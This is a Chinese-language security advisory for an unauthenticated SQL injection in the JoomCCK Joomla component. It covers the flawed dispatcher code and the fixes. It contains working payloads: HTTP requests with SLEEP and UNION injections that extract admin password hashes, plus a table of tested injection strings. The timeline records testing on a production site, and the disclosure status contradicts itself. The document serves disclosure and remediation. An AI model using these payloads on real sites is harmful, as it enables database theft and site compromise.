CVE: CVE-2026-49048
状态: 已公开披露。已报告至 Joomla 安全响应小组 (JSST) — 工单 #282420。
| 字段 | 值 |
|---|---|
| 公告 ID | JOOMCCK-2026-001 |
| CVE | CVE-2026-49048 |
| 产品 | JoomCCK (com_joomcck) — Joomla 内容构建套件 |
| 厂商 | JoomCoder — https://www.joomcoder.com |
| 受影响版本 | 6.4.0(发现时的最新版本;推测更早的 6.x 版本也受影响) |
| 修复版本 | 撰写本文时无 |
| 类型 | 通过缺失授权 (CWE-862) 导致的 SQL 注入 (CWE-89) |
| 所需认证 | 无 — 未认证,预认证 |
| 严重性 | 严重 — CVSS 3.1 基础评分 9.8 |
| CVSS 向量 | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| 发现者 | Kamil Soltanov |
| 联系方式 | [email protected] |
| 发现日期 | 2026-06-22 |
Joomla 4/5/6 组件 JoomCCK 暴露了一个前端控制器任务(task=tags.save),该任务将用户提供的 tag 参数直接拼接到 SQL 中,未进行转义或参数化处理。该组件的自定义 MVC 调度器不执行 CSRF 令牌检查,也不执行访问控制检查,使得完全未认证的远程攻击者能够触发该注入。
成功利用可允许通过基于 UNION 和基于时间的盲 SQL 注入完全读取 Joomla 数据库——包括 #__users 密码哈希——从而导致站点完全沦陷。
libraries/mint/mvc/controller/base.php — MControllerBase::execute():
public function execute($task)
{
$this->task = $task;
$task = !is_null($task) ? strtolower($task) : '';
$doTask = $this->taskMap[$task];
...
return $this->$doTask(); // Invoked with no checkToken(), no authorise()
}
同一类中的 authorise() 方法是一个空操作,无条件返回 true。
入口点 components/com_joomcck/joomcck.php 调用 execute(input->get('task')),没有任何登录、令牌或 ACL 校验 → 每个公开控制器方法都是未认证任务。
tags.save 中的 SQL 注入(CWE-89)components/com_joomcck/models/tags.php — _saveTag():
$tag = $app->input->getString('tag'); // Joomla 'STRING' filter: strips HTML but NOT SQL quotes
$query = ' SELECT a.* FROM #__js_res_tags AS a WHERE a.tag = "' . $tag . '"'; // INJECTABLE
$exist_item = $this->_getList($query);
// Later:
$query = 'UPDATE #__js_res_tags SET tag = "' . $tag . '" WHERE id =' . $id; // INJECTABLE
Joomla 的 STRING 输入过滤器会剥离 HTML 标签,但会原样放行 " —— 而这正是此处用作 SQL 字符串定界符的同一个字符。突破引号字面量即可注入任意 SQL。
GET /index.php?option=com_joomcck&task=tags.save&id=1&tag=x%22%20OR%20SLEEP(5)--%20- HTTP/1.1
Host: target.example.com
预期:响应延迟 ≥ 5 秒(按匹配行计)。
GET /index.php?option=com_joomcck&task=tags.save&id=1&tag=x%22%20UNION%20SELECT%20id,username,password%20FROM%20%23__users--%20- HTTP/1.1
Host: target.example.com
完整的 PoC 代码和捕获的证据记录位于 poc/。
关键实验结果:
Payload(tag=) | 结果 |
|---|---|
cars(良性) | 返回 1 行 — 正常 |
zzz" OR "1"="1 | " 未被转义 → 返回所有行(确认注入) |
zzz" UNION SELECT id,username,password FROM jos_users-- - | 管理员密码哈希被窃取 |
zzz" OR SLEEP(3)-- - | 响应延迟 9.0 秒(3 行 × 3 秒) |
实验环境使用真实的
Joomla\Input\Input::getString()以及原样保留的_saveTag()查询,针对运行中的 MariaDB 11.8 实例执行。
未经身份验证的远程攻击者可以:
UPDATE 修改 #__js_res_tags 中的行task=tags.delete 和 task=records.copy 组合利用(同样无需认证 — 相同的调度器缺陷)相同的调度器缺陷还暴露了其他无需认证的任务:
| 任务 | 影响 |
|---|---|
tags.delete | 无需认证即可删除任意标签 |
records.copy | 无需认证即可复制任意记录 |
ajax.category_records | 按分类枚举记录 |
ajax.tags_list | 列出所有标签 |
ajax.users_filter | 枚举用户名 |
ajax.loadfieldparams | 泄露字段配置 |
注意:许多 records.* 任务会通过 _checkAccess() 在内部强制执行 ACL,因此不受影响。
1. 参数化所有查询(Joomla 查询构建器):
$db = $this->getDatabase();
$tag = $app->input->getString('tag');
// SELECT
$query = $db->getQuery(true)
->select('a.*')
->from($db->quoteName('#__js_res_tags', 'a'))
->where($db->quoteName('a.tag') . ' = ' . $db->quote($tag));
// UPDATE
$upd = $db->getQuery(true)
->update($db->quoteName('#__js_res_tags'))
->set($db->quoteName('tag') . ' = ' . $db->quote($tag))
->where($db->quoteName('id') . ' = ' . (int) $id);
2. 在调度器中强制执行授权 — 在所有会改变状态的任务之前添加 Session::checkToken() 和 ACL 检查(Factory::getApplication()->getIdentity()->authorise(...)),与 files.upload 上已有的保护措施保持一致。
| 日期 | 事件 |
|---|---|
| 2026-06-22 | 通过本地实验环境 PoC 发现并验证漏洞 |
| 2026-06-22 | 准备安全公告;报告至 Joomla Security Strike Team (JSST) 和 VEL |
| 2026-06-23 | JSST 已确认 — David Jardin,工单 #282420。通过 JSST 与供应商(JoomCoder)协调 |
| 2026-06-25 | 在生产环境 Joomla 站点上确认在野利用:SLEEP(5) → 115 秒响应;UNION 触发 MySQL 错误 1222(非破坏性,未窃取数据) |
| 待定 | 供应商补丁 |
| 待定 | CVE 分配 |
| 待定 | 公开披露(90 天协调窗口) |
独立安全研究员。
联系方式:[email protected]